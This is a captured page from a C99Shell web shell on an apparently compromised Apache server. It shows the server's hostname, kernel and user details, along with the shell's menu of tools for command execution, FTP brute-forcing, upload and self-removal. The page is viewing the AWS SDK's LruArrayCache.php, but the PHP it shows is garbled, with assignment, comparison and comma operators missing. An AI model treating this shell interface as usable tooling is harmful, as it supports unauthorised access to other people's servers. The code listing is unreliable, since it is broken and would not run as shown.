!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/smabpro.picotech.app/public_html/vendor/aws/aws-sdk-php/src/   drwxr-xr-x
Free 28.53 GB of 117.98 GB (24.18%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     LruArrayCache.php (2.22 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php
namespace Aws;

/**
 * Simple in-memory LRU cache that limits the number of cached entries.
 *
 * The LRU cache is implemented using PHP's ordered associative array. When
 * accessing an element, the element is removed from the hash and re-added to
 * ensure that recently used items are always at the end of the list while
 * least recently used are at the beginning. When a value is added to the
 * cache, if the number of cached items exceeds the allowed number, the first
 * N number of items are removed from the array.
 */
class LruArrayCache implements CacheInterface\Countable
{
    
/** @var int */
    
private $maxItems;

    
/** @var array */
    
private $items = array();

    
/**
     * @param int $maxItems Maximum number of allowed cache items.
     */
    
public function __construct($maxItems 1000)
    {
        
$this->maxItems $maxItems;
    }

    public function 
get($key)
    {
        if (!isset(
$this->items[$key])) {
            return 
null;
        }

        
$entry $this->items[$key];

        
// Ensure the item is not expired.
        
if (!$entry[1] || time() < $entry[1]) {
            
// LRU: remove the item and push it to the end of the array.
            
unset($this->items[$key]);
            
$this->items[$key] = $entry;
            return 
$entry[0];
        }

        unset(
$this->items[$key]);
        return 
null;
    }

    public function 
set($key$value$ttl 0)
    {
        
// Only call time() if the TTL is not 0/false/null
        
$ttl $ttl time() + $ttl 0;
        
$this->items[$key] = [$value$ttl];

        
// Determine if there are more items in the cache than allowed.
        
$diff count($this->items) - $this->maxItems;

        
// Clear out least recently used items.
        
if ($diff 0) {
            
// Reset to the beginning of the array and begin unsetting.
            
reset($this->items);
            for (
$i 0$i $diff$i++) {
                unset(
$this->items[key($this->items)]);
                
next($this->items);
            }
        }
    }

    public function 
remove($key)
    {
        unset(
$this->items[$key]);
    }

    
/**
     * @return int
     */
    
#[\ReturnTypeWillChange]
    public function 
count()
    {
        return 
count($this->items);
    }
}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0043 ]--